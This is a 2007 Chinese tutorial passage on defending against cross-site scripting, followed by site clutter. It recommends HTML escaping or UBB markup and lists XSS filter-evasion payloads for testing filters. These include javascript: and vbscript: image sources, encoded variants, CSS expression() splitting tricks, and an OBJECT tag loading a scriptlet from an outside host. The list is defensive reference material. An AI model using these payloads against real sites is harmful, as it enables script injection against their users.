跨站漏洞解析-小韩网站编程安全系列一（3）
作者：小韩 来源：蓝色经典 发布时间：2007-07-13 10:06:00
标签：跨站,漏洞,安全
如何防止跨站脚本攻击
我想通过上面的内容，你已经深切的领会到了，跨站脚本攻击的危害是非常大的，那么，如何防止这个漏洞呢。
最简单的办法，就是将用户输入的内容进行HTML转义，这样你不必考虑用户输入什么内容，内容中有哪些危险的字符需要过滤，例如在ASP中，我们可以使用Server.HtmlEnCode()来转义，php中可以使用htmlspecialchars()这个函数。
但是，这种方法并不能称为最优解，这其实是一种消极的方法，因为用户输入的内容可能有危险，那么就将其全部转义。而比较好的方法就是通过正则表达式来进行替换，当然，UBB代码也是起到这个作用的，程序员将HTML代码禁用，取而代之以约定的少量UBB来代替HTML，从而起到好的效果。
这里由于篇幅原因，我就不详细列出各UBB函数的详细内容了，这里我列出一些常见的和很少人了解的跨站方法，供你参考是否已经对这些方式进行了过滤。
<IMG SRC="javascript:alert(’XSS’);">
<IMG SRC=’vbscript:msgbox("XSS")’>
<IMG SRC=javascript:alert("XSS")>(采用HTML实体)
<IMG SRC=javascript:alert('XSS')>(使用utf8字符集)
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav	ascript:alert(’XSS’);">
<BODY BACKGROUND="javascript:alert(’XSS’)">
<DIV STYLE="background-image: url(javascript:alert(’XSS’))">
<DIV STYLE="width: expression(alert(’XSS’));">(注意，使用expression是十分灵活的，例如，如果你过滤了expression，他还可以使用exp/**/resssion，你过滤了/**/，他还可以使用exp/*sometext*/ression)
<STYLE>@im\port’\ja\vasc\ript:alert("XSS")’;</STYLE>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
相关阅读：上传漏洞解析-小韩网站编程安全系列二
0
投稿猜你喜欢
- 企业管理工具开发商BeyondTrust近日表示，微软在Windows 7中对颇受争议的UAC（用户账户控制）所做的改进只是表面功夫，根本没
- # uname -a # 查看内核/操作系统/CPU信息# head -n 1 /et
本教程为大家分享了Vmware安装OpenWrt15.05的具体过程，供大家参考，具体内容如下1.虚拟机文件制作下载对应版本的img文件，本- 场景公司项目部署在docker中，由于未知原因容器偶尔会停止，需要写一个脚本监控 容器运行状态，如果容器停止了，就再启动该容器shell脚本
- 业界加密 TCP/IP 网络产品的标准是 SSL ，对于 Internet 上普遍使用的超文本传输协议（HTTP）而言，其加密后的协议称为
- 什么是别名 在管理和维护Linux系统的过程中，将会使用到大量命令，有一些很长的命令或用法经常被用到，重复而频繁的输入某个很长命令或用法是不
- - 关于广告格式大小作为连接发布商和广告主的桥梁，互联网广告格式一直是整个行业关注的焦点。据不完全统计，目前中国互联网广告形式过于繁杂，正在
- 大多数网站在处理它们的平均用户数访问时加载速度是合理的。但是网站遇到流量高峰压力时，性能会迅速恶化。为了了解流量高峰期估计的理论和方法，我先
- 医学影像07年毕业 06年实习期间开始接触网络，06年9月份开始网络创业，放弃医学，走上了这个没有尽头的创业之路!同学们可能在在医院上班的时
- 1.查看80端口是否被占用，一般80端口多被apache服务占用。netstat -anp|grep 80 2.修改apache服务的端口号
- iptables是Linux上常用的防火墙软件，下面vps侦探给大家说一下iptables的安装、清除iptables规则、iptables
- sar（System Activity Reporter系统活动情况报告）是目前 Linux 上最为全面的系统性能分析工具之一，可以从多方面
- 时间服务器的IP为:192.168.10.1 1). # rpm -ivh ntp-4.1.2-4.EL3.1.i386.rpm 2). #
- 1、添加网页标题（title）。为每页内容写5-8个字的描述性标题。标题要简练，去掉“the，” “and，”这些不重要的词汇，要说明该页面
- 为了更好的解决虚拟机与主机的共享问题，VMware公司有一个VMWare－tools，来实现文件共享。这里主要讲的是在Windows下用 V
- 7月11日消息，近日Google公布了一份网页统计报告，数据来源为Google索引的42亿个网页。网页的平均容量是320KB，（包含内嵌脚本
- 本文实例讲述了Linux环境ActiveMQ部署方法。分享给大家供大家参考，具体如下：ActiveMQ环境部署下载地址：http://act
- 清除docker无用镜像一、查看 docker 占用的资源在进行资源清理之前我们有必要搞清楚 docker 都占用了哪些系统的资源。这需要综
- 在前面的讲解（//www.jb51.net/article/97357.htm）中，我们已经在VMware虚拟机管理软件中，创建了一台虚拟的
- 前言大多数人可能在系统磁盘存储不足的情况下执行释放空间这个操作，也可能在 Linux 系统磁盘存储满了的情况下执行这个操作。它应该被经常执行
